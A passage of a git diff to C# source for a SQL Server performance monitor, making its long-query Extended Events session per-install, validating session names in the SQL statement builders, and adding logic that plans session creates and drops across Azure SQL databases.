 /// enough). Both SKUs drive that reconcile from the shared <see cref="BuildCreateSessionSql"/> /
 /// <see cref="BuildStartSessionSql"/> / <see cref="BuildDropSessionSql"/> here so the two hosts can
 /// never drift on the (complex, 3-event / 9-action on-prem, 8-action Azure) DDL — the same "reader and
-/// lifecycle never disagree" reason <see cref="XeSessionName"/> lives here.</para>
+/// lifecycle never disagree" reason <see cref="XeSessionNameFor"/> lives here.</para>
 ///
 /// <para>Reads the ring buffer exactly like <see cref="BlockedProcessReportCollector"/>: server-scoped
 /// on on-prem/MI/RDS, database-scoped per monitored database on Azure SQL DB (#1535 — a single session
@@ -61,8 +62,94 @@ private LongQueryCompletionsCollector()
     {
     }
 
-    /* We create and manage our own XE session to avoid conflicts with user's existing sessions. */
-    public const string XeSessionName = "PerformanceMonitor_LongQueryCompletions";
+    /* We create and manage our own XE session to avoid conflicts with user's existing sessions. Since #4961 the session
+       is one per install, named from the product and the install's id (XeSessionNameFor): two installs that monitor the
+       same server no longer share one session, so one's drop or restart cannot take the other's trace with it. */
+
+    /// <summary>
+    /// The one name every install used to share. Nothing creates, starts or reads a session of this name any more: each
+    /// install makes and drops only the session that carries its own id (<see cref="XeSessionNameFor"/>). Code that has
+    /// to find a session an older version left behind, such as a clean-up that drops it, names it through this constant.
+    /// </summary>
+    public const string LegacyXeSessionName = "PerformanceMonitor_LongQueryCompletions";
+
+    /// <summary>The product name in a Lite install's session name.</summary>
+    public const string LiteProduct = "Lite";
+
+    /// <summary>The product name in a Darling install's session name.</summary>
+    public const string DarlingProduct = "Darling";
+
+    private const string SessionNamePrefix = "PerformanceMonitor_";
+    private const string SessionNameSuffix = "_LongQueryCompletions";
+
+    /// <summary>
+    /// This install's session name: <c>PerformanceMonitor_{product}_{id}_LongQueryCompletions</c>. Throws for a product
+    /// other than <see cref="LiteProduct"/> or <see cref="DarlingProduct"/>, and for an id that fails
+    /// <see cref="InstallId.IsValid"/>. It never falls back to <see cref="LegacyXeSessionName"/>: a caller with no id
+    /// has no session to make. The check also keeps the name safe to put in a statement, because the id is hex only.
+    /// </summary>
+    public static string XeSessionNameFor(string product, string? installId)
+    {
+        if (!string.Equals(product, LiteProduct, StringComparison.Ordinal)
+            && !string.Equals(product, DarlingProduct, StringComparison.Ordinal))
+        {
+            throw new ArgumentException($"The product must be {LiteProduct} or {DarlingProduct}.", nameof(product));
+        }
+
+        if (!InstallId.IsValid(installId))
+        {
+            throw new ArgumentException("The install id is missing or not eight lowercase hex digits.", nameof(installId));
+        }
+
+        return SessionNamePrefix + product + "_" + installId + SessionNameSuffix;
+    }
+
+    /// <summary>
+    /// <see cref="XeSessionNameFor"/>, or null when <paramref name="installId"/> does not pass
+    /// <see cref="InstallId.IsValid"/>: a host with no id has no long-query trace to make, and says so as a fault.
+    /// </summary>
+    public static string? TryXeSessionNameFor(string product, string? installId) =>
+        InstallId.IsValid(installId) ? XeSessionNameFor(product, installId) : null;
+
+    /// <summary>
+    /// True when <paramref name="name"/> is a name <see cref="XeSessionNameFor"/> makes. The statement builders refuse
+    /// any other name, so a statement can only ever name a per-install session, or (for a drop) the legacy one.
+    /// </summary>
+    public static bool IsInstallSessionName(string? name)
+    {
+        if (name is null
+            || name.Length <= SessionNamePrefix.Length + SessionNameSuffix.Length
+            || !name.StartsWith(SessionNamePrefix, StringComparison.Ordinal)
+            || !name.EndsWith(SessionNameSuffix, StringComparison.Ordinal))
+        {
+            return false;
+        }
+
+        var middle = name.Substring(SessionNamePrefix.Length, name.Length - SessionNamePrefix.Length - SessionNameSuffix.Length);
+        foreach (var product in new[] { LiteProduct, DarlingProduct })
+        {
+            if (middle.Length == product.Length + 1 + InstallId.Length
+                && middle.StartsWith(product + "_", StringComparison.Ordinal)
+                && InstallId.IsValid(middle.Substring(product.Length + 1)))
+            {
+                return true;
+            }
+        }
+
+        return false;
+    }
+
+    /* The statement builders interpolate the name, so each takes only a name that is safe to interpolate: one this class
+       made, or (for the drop) the legacy one. A name from anywhere else is a bug in the caller, not a session to touch. */
+    private static string RequireInstallSessionName(string sessionName)
+    {
+        if (!IsInstallSessionName(sessionName))
+        {
+            throw new ArgumentException("Not a per-install long-query session name.", nameof(sessionName));
+        }
+
+        return sessionName;
+    }
 
     /// <summary>
     /// The default duration threshold (MICROSECONDS) for the completed-event predicate — 2 seconds,
@@ -135,6 +222,28 @@ public sealed class Row
     /// </summary>
     public override bool RunsPerDatabase(CollectorTargetInfo target) => target.IsAzureSqlDb;
 
+    /// <summary>
+    /// The read covers the databases the session lifecycle covers (<see cref="LongQueryTraceDatabases"/>). A database
+    /// monitored as its own server owns its session, so the logical server's registration skips it here too. While that
+    /// database's own trace is off it has no session, and a read there returns zero rows on both products, which look like
+    /// a quiet trace. While it is on, reading it would store its events twice. The read skips
+    /// <c>master</c> as well: the trace never creates its session there (<see cref="LongQueryTraceDatabases.CanHoldSession"/>),
+    /// so reading it is always an empty read, and a logical server whose user databases are all monitored separately
+    /// would list <c>master</c> alone and look like a quiet trace instead of one with nothing to read (#4961).
+    /// </summary>
+    public override bool SkipsSeparatelyMonitoredDatabases => true;
+
+    /// <summary>
+    /// The last sentence of the banner that Lite and the Darling Viewer show while this trace is off: where turning
+    /// it on creates this install's own Extended Events session, and where turning it off drops it. On Azure SQL
+    /// Database that is each monitored database (<see cref="RunsPerDatabase"/>); on every other engine it is the
+    /// server. Both wordings say when the drop is held back, because another registration of this install keeps the
+    /// session: on-premises it is a registration of the same instance, on Azure SQL Database one of the same database.
+    /// </summary>
+    public static string SessionScopeSentence(bool isAzureSqlDatabase) => isAzureSqlDatabase
+        ? "Enabling it creates this install's Extended Events session in each monitored database. Disabling it drops that session from every database that has it, except where another registration of that database still has the trace on. A database that is also monitored as its own server follows that server's setting."
+        : "Enabling it creates this install's Extended Events session on this server. Disabling it drops that session, unless another registration of this install on the same instance still has the trace on.";
+
     /// <summary>
     /// Per-database watermark for the per-database sessions: each database's ring buffer dispatches
     /// independently, so one database's newer completion must not watermark past another's older one.
@@ -203,6 +312,12 @@ JOIN sys.dm_xe_database_sessions AS xes
 JOIN sys.dm_xe_sessions AS xes
   ON xes.address = xet.event_session_address";
 
+        /* The session this install made (#4961): the host puts its name on the context. A context with none means the host
+           has no install id, and it says so as a fault before it reads. The read never falls back to the legacy session. */
+        var sessionName = context.LongQuerySessionName is { } named
+            ? RequireInstallSessionName(named)
+            : throw new InvalidOperationException("The long-query completions read needs this install's session name, and the host gave none.");
+
         string query = $@"
 SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
 
@@ -220,7 +335,7 @@ ring_buffer xml NOT NULL
 SELECT /* PerformanceMonitorLite */
     ring_xml = TRY_CAST(xet.target_data AS xml)
 FROM {ringBufferSource}
-WHERE xes.name = N'{XeSessionName}'
+WHERE xes.name = N'{sessionName}'
 AND   xet.target_name = N'ring_buffer'
 OPTION(RECOMPILE);
 {ShredSelect}";
@@ -262,6 +377,8 @@ CollectorContext.EventFallbackWindow on first run (mirrors the blocked-process /
     public override async ValueTask<List<Row>> ReadAsync(DbDataReader reader, CollectorContext context, CancellationToken cancellationToken)
     {
         var rows = new List<Row>();
+        /* #4348: the statement text goes through the statement filter where it first enters a row. */
+        var scrub = context.BeginStatementScrub();
 
         while (await reader.ReadAsync(cancellationToken))
         {
@@ -284,7 +401,7 @@ public override async ValueTask<List<Row>> ReadAsync(DbDataReader reader, Collec
                 Writes = reader.IsDBNull(6) ? null : reader.GetInt64(6),
                 RowCount = reader.IsDBNull(7) ? null : reader.GetInt64(7),
                 Result = reader.IsDBNull(8) ? null : reader.GetString(8),
-                StatementText = reader.IsDBNull(9) ? null : reader.GetString(9),
+                StatementText = reader.IsDBNull(9) ? null : scrub.Text(reader.GetString(9)),
                 ObjectName = reader.IsDBNull(10) ? null : reader.GetString(10),
                 ClientAppName = reader.IsDBNull(11) ? null : reader.GetString(11),
                 ClientPid = reader.IsDBNull(12) ? null : reader.GetInt32(12),
@@ -439,8 +556,10 @@ private static string ActionList(bool databaseScoped)
     /// customizable TEXT columns (statement / batch_text) are turned on via SET so they are actually
     /// collected; object_name needs no SET — it is one of rpc_completed's default data fields (#2129).
     /// </summary>
-    public static string BuildCreateSessionSql(bool databaseScoped, long thresholdMicroseconds)
+    public static string BuildCreateSessionSql(string sessionName, bool databaseScoped, long thresholdMicroseconds)
     {
+        /* Nothing creates the legacy name any more (#4961): a name that is not per-install is refused here. */
+        RequireInstallSessionName(sessionName);
         var scope = databaseScoped ? "DATABASE" : "SERVER";
         var actions = ActionList(databaseScoped);
         /* Server-scoped: single, unpartitioned ring buffer (readable target_data on multi-socket boxes,
@@ -453,7 +572,7 @@ DEFAULT data fields — the collect_object_name customizable attribute belongs t
            note lives in C# on purpose: the DDL string ships to every monitored server, and the
            test pin asserts the bogus attribute appears NOWHERE in it, comment included. */
         return $@"
-CREATE EVENT SESSION [{XeSessionName}]
+CREATE EVENT SESSION [{sessionName}]
 ON {scope}
 ADD EVENT sqlserver.rpc_completed
 (
@@ -487,13 +606,44 @@ ADD TARGET package0.ring_buffer
 (
     MAX_DISPATCH_LATENCY = 5 SECONDS,
     EVENT_RETENTION_MODE = ALLOW_SINGLE_EVENT_LOSS,{partitionMode}
-    STARTUP_STATE = ON
+    STARTUP_STATE = OFF
 );";
     }
 
-    /// <summary>Starts the session (CREATE does not auto-start it, even with STARTUP_STATE = ON).</summary>
-    public static string BuildStartSessionSql(bool databaseScoped) =>
-        $"ALTER EVENT SESSION [{XeSessionName}] ON {(databaseScoped ? "DATABASE" : "SERVER")} STATE = START;";
+    /// <summary>
+    /// Starts the session. CREATE does not start it, and the DDL says STARTUP_STATE = OFF, so a session that was never
+    /// started, or that a server restart stopped, stays stopped until an ensure starts it (#4961). The name must be a
+    /// per-install one.
+    /// </summary>
+    public static string BuildStartSessionSql(string sessionName, bool databaseScoped) =>
+        $"ALTER EVENT SESSION [{RequireInstallSessionName(sessionName)}] ON {(databaseScoped ? "DATABASE" : "SERVER")} STATE = START;";
+
+    /// <summary>
+    /// Stops the database-scoped session, when it runs on the connection's replica (#4961). Run state is per replica, so a
+    /// session that runs on a read-only replica is stopped over a connection to that replica, and only then is its
+    /// definition dropped over a connection to the primary. Guarded on <c>sys.dm_xe_database_sessions</c>, which lists the
+    /// sessions that run there, so a replica where it does not run is a clean no-op. A per-install name, or the legacy
+    /// one, like <see cref="BuildDropSessionSql"/>.
+    /// </summary>
+    public static string BuildStopSessionSql(string sessionName)
+    {
+        if (!string.Equals(sessionName, LegacyXeSessionName, StringComparison.Ordinal))
+        {
+            RequireInstallSessionName(sessionName);
+        }
+
+        return $@"
+IF EXISTS
+(
+    SELECT
+        1/0
+    FROM sys.dm_xe_database_sessions
+    WHERE name = N'{sessionName}'
+)
+BEGIN
+    ALTER EVENT SESSION [{sessionName}] ON DATABASE STATE = STOP;
+END;";
+    }
 
     /// <summary>
     /// Idempotently drops the session (the opt-out path — disabling the collector removes the
@@ -501,8 +651,15 @@ public static string BuildStartSessionSql(bool databaseScoped) =>
     /// drop on a server that never had the session is a clean no-op. Server- vs database-scoped catalog
     /// + scope selected by <paramref name="databaseScoped"/>.
     /// </summary>
-    public static string BuildDropSessionSql(bool databaseScoped)
+    public static string BuildDropSessionSql(string sessionName, bool databaseScoped)
     {
+        /* A per-install name, or the legacy one, so the one-time drop of the session older versions left can use this
+           builder. Nothing else is a session this class may drop. */
+        if (!string.Equals(sessionName, LegacyXeSessionName, StringComparison.Ordinal))
+        {
+            RequireInstallSessionName(sessionName);
+        }
+
         if (databaseScoped)
         {
             return $@"
@@ -511,10 +668,10 @@ IF EXISTS
     SELECT
         1/0
     FROM sys.database_event_sessions
-    WHERE name = N'{XeSessionName}'
+    WHERE name = N'{sessionName}'
 )
 BEGIN
-    DROP EVENT SESSION [{XeSessionName}] ON DATABASE;
+    DROP EVENT SESSION [{sessionName}] ON DATABASE;
 END;";
         }
 
@@ -524,10 +681,10 @@ IF EXISTS
     SELECT
         1/0
     FROM sys.server_event_sessions
-    WHERE name = N'{XeSessionName}'
+    WHERE name = N'{sessionName}'
 )
 BEGIN
-    DROP EVENT SESSION [{XeSessionName}] ON SERVER;
+    DROP EVENT SESSION [{sessionName}] ON SERVER;
 END;";
     }
 }
diff --git a/PerformanceMonitor.Collectors/LongQueryTraceDatabases.cs b/PerformanceMonitor.Collectors/LongQueryTraceDatabases.cs
new file mode 100644
index 0000000000..e73cbe0e91
--- /dev/null
+++ b/PerformanceMonitor.Collectors/LongQueryTraceDatabases.cs
@@ -0,0 +1,602 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+
+namespace PerformanceMonitor.Collectors;
+
+/// <summary>
+/// Where the opt-in long-query trace keeps its Extended Events session on Azure SQL Database, where each database
+/// holds its own session. Lite and Darling both plan every create and drop here, so the two apps touch the same
+/// databases.
+/// <list type="bullet">
+/// <item>Trace ON: create the session in each monitored database, and drop it from each listed database outside
+/// that set. The trace costs overhead, so it must not run in a database the user left out.</item>
+/// <item>Trace OFF: drop it from every listed database. That list is the full one, with no exclusions and no
+/// database scope, so a session created before a database was left out is removed too.</item>
+/// <item>Both: never touch <c>master</c>, which cannot hold a database-scoped session, or a database monitored as
+/// its own server (<c>AzureMasterScope.SeparatelyMonitoredDatabases</c>). That database's own registration creates
+/// and drops its session, so the logical server's registration leaves it alone.</item>
+/// <item>A drop also skips a database while another registration of the same logical server has the trace on and
+/// keeps the session there (<see cref="KeptElsewhere"/>), whatever either registration's read-only intent. The
+/// session is one object per database, so a drop by one registration removes it for every other one.</item>
+/// <item>Where the session is the server's own, a drop skips it while another registration of the same instance has the
+/// trace on (<see cref="KeptOnInstance"/>), for the trace turned off and for a removed server alike.</item>
+/// </list>
+/// The always-on deadlock and blocked-process sessions do not use this. They follow the inventory: they are
+/// created in every inventoried database whatever the database scope, because they are cheap and the alerts read
+/// them.
+/// </summary>
+public static class LongQueryTraceDatabases
+{
+    /// <summary>
+    /// Failed cleanup passes in a row, for one registration, before it stops retrying every cycle. Without a cap, a
+    /// database that refuses the drop forever would repeat a warning every cycle forever. After the cap, the
+    /// registration tries again once every <see cref="RetryInterval"/>.
+    /// </summary>
+    public const int DropAttemptCap = 5;
+
+    /// <summary>
+    /// The wait between the attempts that follow the cap (<see cref="LongQueryTraceDropRetry"/>). Darling also re-runs
+    /// the create side this often while the trace is on, so a session dropped from outside comes back.
+    /// </summary>
+    public static readonly TimeSpan RetryInterval = TimeSpan.FromHours(1);
+
+    /* Characters no database name can contain, one for each level of a state key, so a key cannot read two ways:
+       names within one list, the lists inside one co-owner, the co-owners, and the key's parts. */
+    private const char NameSeparator = '\u001F';
+    private const char ListSeparator = '\u001D';
+    private const char CoOwnerSeparator = '\u001C';
+    private const char PartSeparator = '\u001E';
+
+    /// <summary>
+    /// Whether a database can hold the trace's database-scoped session at all: every database but <c>master</c>. The
+    /// plan, the check for where another registration keeps the session, and the long-query read of a logical server
+    /// all ask this one rule, so the read never opens a database the trace cannot create its session in (#4961).
+    /// Whether another registration owns the database is a separate question, which the plan answers from the
+    /// separately monitored databases.
+    /// </summary>
+    public static bool CanHoldSession(string database) =>
+        !string.Equals(database, "master", StringComparison.OrdinalIgnoreCase);
+
+    /// <summary>
+    /// The error a database that is read-only answers a <c>CREATE EVENT SESSION</c> with: "Failed to update database
+    /// because the database is read-only". A registration that points straight at one, such as an Azure geo-secondary,
+    /// lands there without read-only intent (#4961).
+    /// </summary>
+    public const int ReadOnlyDatabaseErrorNumber = 3906;
+
+    /// <summary>
+    /// Whether one of the errors a refused create carries is <see cref="ReadOnlyDatabaseErrorNumber"/>. Plain error
+    /// numbers, because this project has no SqlClient: each app reads them off its own exception.
+    /// </summary>
+    public static bool IsReadOnlyDatabaseRefusal(IEnumerable<int> errorNumbers) =>
+        errorNumbers.Any(number => number == ReadOnlyDatabaseErrorNumber);
+
+    /// <summary>
+    /// The error a replica answers <c>ALTER EVENT SESSION</c> with for a session whose definition it does not show: "Cannot
+    /// alter the event session, because it does not exist or you do not have permission". A definition created over the
+    /// primary reaches a read-only replica a moment later, so a start right after the create can get it (#4961).
+    /// </summary>
+    public const int EventSessionNotVisibleErrorNumber = 15151;
+
+    /// <summary>
+    /// Whether one of the errors a refused start carries is <see cref="EventSessionNotVisibleErrorNumber"/>. Plain error
+    /// numbers, like <see cref="IsReadOnlyDatabaseRefusal"/>.
+    /// </summary>
+    public static bool IsEventSessionNotVisible(IEnumerable<int> errorNumbers) =>
+        errorNumbers.Any(number => number == EventSessionNotVisibleErrorNumber);
+
+    /// <summary>
+    /// The one message for a create that a read-only database refused: why it cannot work, and what to change. Both apps
+    /// log it, so the two cannot word it apart. The refusal is not retried for <see cref="RetryInterval"/>.
+    /// </summary>
+    public static string ReadOnlyDatabaseMessage() =>
+        "The long-query trace could not create its Extended Events session: the database this registration reaches is read-only "
+        + $"(error {ReadOnlyDatabaseErrorNumber}), as an Azure geo-secondary is, and a read-only database cannot hold a session. "
+        + "Register the primary database instead, or turn the long-query trace off for this registration.";
+
+    /// <summary>
+    /// The databases one reconcile creates the session in and drops it from.
+    /// </summary>
+    /// <param name="enabled">Whether the trace is on for this registration.</param>
+    /// <param name="listedDatabases">Every online database the registration can see, with no exclusions and no
+    /// database scope. For a registration that names a database, that database alone.</param>
+    /// <param name="monitoredDatabases">The databases the registration monitors: the listed ones minus its
+    /// exclusions and, in Darling, narrowed by the trace's database scope. Read only while the trace is on.</param>
+    /// <param name="separatelyMonitoredDatabases">The databases monitored as their own servers.</param>
+    /// <param name="keptElsewhere">The databases where another registration keeps the session
+    /// (<see cref="KeptElsewhere"/>). Applied to the drops only: a create never removes anything.</param>
+    public static LongQueryTracePlan Plan(
+        bool enabled,
+        IEnumerable<string> listedDatabases,
+        IEnumerable<string> monitoredDatabases,
+        IEnumerable<string> separatelyMonitoredDatabases,
+        IEnumerable<string> keptElsewhere)
+    {
+        var ownedElsewhere = new HashSet<string>(separatelyMonitoredDatabases, StringComparer.OrdinalIgnoreCase);
+        var kept = new HashSet<string>(keptElsewhere, StringComparer.OrdinalIgnoreCase);
+        bool CanTouch(string database) => CanHoldSession(database) && !ownedElsewhere.Contains(database);
+
+        if (!enabled)
+        {
+            return new LongQueryTracePlan(
+                Array.Empty<string>(),
+                DistinctInOrder(listedDatabases.Where(database => CanTouch(database) && !kept.Contains(database))));
+        }
+
+        var create = DistinctInOrder(monitoredDatabases.Where(CanTouch));
+        var keep = new HashSet<string>(monitoredDatabases, StringComparer.OrdinalIgnoreCase);
+        var drop = DistinctInOrder(listedDatabases.Where(database => CanTouch(database) && !keep.Contains(database) && !kept.Contains(database)));
+        return new LongQueryTracePlan(create, drop);
+    }
+
+    /// <summary>
+    /// The settings a plan depends on, apart from the database lists. When this changes, the last reconcile no
+    /// longer says where the session belongs, so the reconcile runs again. While the trace is on that is the
+    /// database scope, the exclusions, the separately monitored databases and the co-owners. While it is off the
+    /// plan ignores the scope and the exclusions, so only the separately monitored databases and the co-owners
+    /// count. The co-owners are in the key so that a drop skipped for another registration runs once that one
+    /// turns its trace off.
+    /// </summary>
+    /// <param name="coOwners">The other registrations that keep the session somewhere on this logical server
+    /// (<see cref="CoOwners"/>).</param>
+    public static string StateKey(
+        bool enabled,
+        IEnumerable<string>? databaseScope,
+        IEnumerable<string>? excludedDatabases,
+        IEnumerable<string> separatelyMonitoredDatabases,
+        IEnumerable<string> coOwners)
+    {
+        var owned = JoinNames(separatelyMonitoredDatabases);
+        var others = string.Join(CoOwnerSeparator, coOwners.Distinct(StringComparer.Ordinal).OrderBy(owner => owner, StringComparer.Ordinal));
+        return enabled
+            ? string.Join(PartSeparator, "on", JoinNames(databaseScope), JoinNames(excludedDatabases), owned, others)
+            : string.Join(PartSeparator, "off", owned, others);
+    }
+
+    /// <summary>
+    /// The candidates where another registration of the same logical server keeps the session, so a drop by this
+    /// registration would remove a session that one still uses. Another registration counts when it is enabled,
+    /// has the trace on, and names the same host (trimmed, ignoring case, as <c>AzureMasterScope</c> matches),
+    /// whatever its read-only intent:
+    /// <list type="bullet">
+    /// <item>A registration that names a database keeps the session in that database.</item>
+    /// <item>A logical server's registration keeps it in each database it creates it in: not <c>master</c>, not a
+    /// database monitored as its own server, not one it excludes, and inside its database scope.</item>
+    /// </list>
+    /// The coverage is exact. Two logical server registrations that both exclude a database do not keep the session
+    /// there for each other, so a session left in that database is still dropped.
+    /// </summary>
+    /// <param name="selfId">This registration, which never counts as another.</param>
+    /// <param name="host">This registration's host.</param>
+    /// <param name="candidates">The databases this registration would drop the session from.</param>
+    /// <param name="registrations">Every registration the app monitors. The others are filtered here.</param>
+    /// <param name="separatelyMonitored">The databases monitored as their own servers on this logical server, as a
+    /// logical server's registration sees them: the databases its creates leave out. The same list for every
+    /// registration of the server, including one that names a database.</param>
+    public static IReadOnlyList<string> KeptElsewhere(
+        string selfId,
+        string host,
+        IEnumerable<string> candidates,
+        IEnumerable<LongQueryTraceRegistration> registrations,
+        IEnumerable<string> separatelyMonitored)
+    {
+        var owners = OtherOwners(selfId, host, registrations).ToList();
+        if (owners.Count == 0)
+        {
+            return Array.Empty<string>();
+        }
+
+        var ownedElsewhere = new HashSet<string>(separatelyMonitored, StringComparer.OrdinalIgnoreCase);
+        return DistinctInOrder(candidates.Where(database => owners.Any(owner => Keeps(owner, database, ownedElsewhere))));
+    }
+
+    /// <summary>
+    /// Where the session is the server's own (every engine but Azure SQL Database), whether another registration of
+    /// this install keeps it on the same instance, so a drop by this registration would stop its trace (#4961). That
+    /// is the on-premises counterpart of <see cref="KeptElsewhere"/>. A host name can be written many ways, so the
+    /// instance decides, not the host: two registrations are the same instance when each one's last-known
+    /// <c>@@SERVERNAME</c> is known and the two agree, ignoring case. A name that is not known matches nothing.
+    /// </summary>
+    /// <param name="serverName">This registration's last-known <c>@@SERVERNAME</c>, or null when it is not known.</param>
+    /// <param name="others">The other registrations of this install, with each one's last-known name.</param>
+    public static bool KeptOnInstance(string? serverName, IEnumerable<LongQueryTraceInstance> others)
+    {
+        if (string.IsNullOrWhiteSpace(serverName))
+        {
+            return false;
+        }
+
+        var name = serverName.Trim();
+        return others.Any(other =>
+            other.Enabled
+            && other.TraceOn
+            && !string.IsNullOrWhiteSpace(other.ServerName)
+            && string.Equals(other.ServerName.Trim(), name, StringComparison.OrdinalIgnoreCase));
+    }
+
+    /// <summary>
+    /// The co-owner part of <see cref="StateKey"/>: one entry for each other registration that
+    /// <see cref="KeptElsewhere"/> counts, holding what decides where it keeps the session. A registration that names
+    /// a database gives that database. A logical server's registration gives its exclusions, its database scope and
+    /// <paramref name="separatelyMonitored"/>.
+    /// </summary>
+    public static IReadOnlyList<string> CoOwners(
+        string selfId,
+        string host,
+        IEnumerable<LongQueryTraceRegistration> registrations,
+        IEnumerable<string> separatelyMonitored)
+    {
+        var owned = JoinNames(separatelyMonitored);
+        return OtherOwners(selfId, host, registrations)
+            .Select(owner => IsLogicalServer(owner.Database)
+                ? "srv:" + string.Join(ListSeparator, JoinNames(owner.ExcludedDatabases), JoinNames(owner.DatabaseScope), owned)
+                : "db:" + owner.Database!.Trim().ToUpperInvariant())
+            .Distinct(StringComparer.Ordinal)
+            .OrderBy(owner => owner, StringComparer.Ordinal)
+            .ToList();
+    }
+
+    /// <summary>
+    /// Drops the session in each database, trying every one before it gives up, so one database that refuses
+    /// cannot keep the session in the others. When any drop failed, throws one
+    /// <see cref="LongQueryTraceDropException"/> that names each database where it failed.
+    /// </summary>
+    /// <param name="databases">The databases to drop the session from (a plan's <see cref="LongQueryTracePlan.Drop"/>).</param>
+    /// <param name="dropOne">Drops the session in one database.</param>
+    /// <param name="onFailure">Called once for each database whose drop failed, before the next one is tried. The
+    /// apps log a warning that names the database here.</param>
+    /// <param name="createNote">Trace ON only: the create side's note about databases it could not create the
+    /// session in, carried on the exception so a failed drop does not lose it.</param>
+    /// <param name="cancellationToken">Cancels the remaining drops.</param>
+    public static async Task DropEachAsync(
+        IReadOnlyList<string> databases,
+        Func<string, CancellationToken, Task> dropOne,
+        Action<string, Exception> onFailure,
+        string? createNote,
+        CancellationToken cancellationToken)
+    {
+        var failed = new List<string>();
+        Exception? firstFailure = null;
+
+        foreach (var database in databases)
+        {
+            cancellationToken.ThrowIfCancellationRequested();
+
+            try
+            {
+                await dropOne(database, cancellationToken);
+            }
+            catch (Exception ex) when (ex is not OperationCanceledException)
+            {
+                failed.Add(database);
+                firstFailure ??= ex;
+                onFailure(database, ex);
+            }
+        }
+
+        if (firstFailure is not null)
+        {
+            throw new LongQueryTraceDropException(failed, firstFailure, createNote);
+        }
+    }
+
+    /// <summary>
+    /// The one warning a registration logs when it stops retrying every cycle (<see cref="DropAttemptCap"/>). It names
+    /// each database where the session may remain. When the last pass could not list the databases there are no
+    /// names to give, and the warning says so. <paramref name="retryNote"/> adds what else makes this app try again.
+    /// </summary>
+    public static string GiveUpWarning(IReadOnlyList<string> databases, string? retryNote = null) => (databases.Count == 0
+        ? $"Stopped retrying the long-query trace cleanup after {DropAttemptCap} failed attempts in a row. The databases could not be listed, so the session may remain in any of them."
+        : $"Stopped retrying the long-query trace cleanup after {DropAttemptCap} failed attempts in a row. The session may remain in: {string.Join(", ", databases)}.")
+        + " It tries again once an hour, and right away after a restart, a change to the trace's settings, or a change to another registration of these databases."
+        + retryNote;
+
+    /// <summary>
+    /// <see cref="GiveUpWarning(IReadOnlyList{string}, string?)"/> for the failure the cap gave up on. Where the session is
+    /// the server's (<see cref="LongQueryTraceDropException.OnServer"/>), there are no databases to name or to list, and the
+    /// restart and the change to the trace's settings are the only other things that try again.
+    /// </summary>
+    public static string GiveUpWarning(LongQueryTraceDropException failure, string? retryNote = null) => failure.OnServer
+        ? $"Stopped retrying the long-query trace cleanup after {DropAttemptCap} failed attempts in a row. The session may remain on the server."
+            + " It tries again once an hour, and right away after a restart or a change to the trace's settings."
+            + retryNote
+        : GiveUpWarning(failure.Databases, retryNote);
+
+    private static IEnumerable<LongQueryTraceRegistration> OtherOwners(
+        string selfId, string host, IEnumerable<LongQueryTraceRegistration> registrations)
+    {
+        var hostKey = host.Trim();
+        return registrations.Where(other =>
+            other.Id != selfId
+            && other.Enabled
+            && other.TraceOn
+            && string.Equals(other.Host.Trim(), hostKey, StringComparison.OrdinalIgnoreCase));
+    }
+
+    private static bool Keeps(LongQueryTraceRegistration owner, string database, HashSet<string> separatelyMonitored)
+    {
+        if (!IsLogicalServer(owner.Database))
+        {
+            return string.Equals(owner.Database!.Trim(), database, StringComparison.OrdinalIgnoreCase);
+        }
+
+        return CanHoldSession(database)
+            && !separatelyMonitored.Contains(database)
+            && !owner.ExcludedDatabases.Any(excluded => string.Equals(excluded.Trim(), database, StringComparison.OrdinalIgnoreCase))
+            && (owner.DatabaseScope is null
+                || owner.DatabaseScope.Count == 0
+                || owner.DatabaseScope.Any(inScope => string.Equals(inScope.Trim(), database, StringComparison.OrdinalIgnoreCase)));
+    }
+
+    /* A registration with no database, or with master, is of the logical server (AzureMasterScope's rule). */
+    private static bool IsLogicalServer(string? database) =>
+        string.IsNullOrWhiteSpace(database) || string.Equals(database.Trim(), "master", StringComparison.OrdinalIgnoreCase);
+
+    private static string JoinNames(IEnumerable<string>? names) =>
+        names is null
+            ? string.Empty
+            : string.Join(NameSeparator, names
+                .Select(name => name.Trim())
+                .Where(name => name.Length > 0)
+                .Select(name => name.ToUpperInvariant())
+                .Distinct(StringComparer.Ordinal)
+                .OrderBy(name => name, StringComparer.Ordinal));
+
+    private static List<string> DistinctInOrder(IEnumerable<string> names)
+    {
+        var seen = new HashSet<string>(StringComparer.OrdinalIgnoreCase);
+        var result = new List<string>();
+        foreach (var name in names)
+        {
+            if (seen.Add(name))
+            {
+                result.Add(name);
+            }
+        }
+
+        return result;
+    }
+}
+
+/// <summary>What one long-query trace reconcile does on Azure SQL Database (<see cref="LongQueryTraceDatabases.Plan"/>).</summary>
+/// <param name="Create">The databases to create the session in. Empty while the trace is off.</param>
+/// <param name="Drop">The databases to drop the session from.</param>
+public sealed record LongQueryTracePlan(IReadOnlyList<string> Create, IReadOnlyList<string> Drop);
+
+/// <summary>
+/// One registration the app monitors, as <see cref="LongQueryTraceDatabases.KeptElsewhere"/> sees it: enough to say
+/// where it keeps the long-query trace's session on an Azure SQL Database logical server.
+/// </summary>
+/// <param name="Id">The registration's id in its app.</param>
+/// <param name="Host">The server name it connects to.</param>
+/// <param name="Database">The database it names. Blank or <c>master</c> for the logical server's registration.</param>
+/// <param name="Enabled">Whether it is monitored.</param>
+/// <param name="TraceOn">Whether its long-query trace is on.</param>
+/// <param name="ExcludedDatabases">The databases it excludes.</param>
+/// <param name="DatabaseScope">The trace's database scope. Null or empty means every database.</param>
+public sealed record LongQueryTraceRegistration(
+    string Id,
+    string Host,
+    string? Database,
+    bool Enabled,
+    bool TraceOn,
+    IReadOnlyCollection<string> ExcludedDatabases,
+    IReadOnlyCollection<string>? DatabaseScope);
+
+/// <summary>
+/// One other registration of this install, as <see cref="LongQueryTraceDatabases.KeptOnInstance"/> sees it: whether it is
+/// monitored, whether its long-query trace is on, and the <c>@@SERVERNAME</c> its instance last reported.
+/// </summary>
+/// <param name="Enabled">Whether it is monitored.</param>
+/// <param name="TraceOn">Whether its long-query trace is on.</param>
+/// <param name="ServerName">The last-known <c>@@SERVERNAME</c>, or null when no collector run has reported it yet.</param>
+public sealed record LongQueryTraceInstance(bool Enabled, bool TraceOn, string? ServerName);
+
+/// <summary>
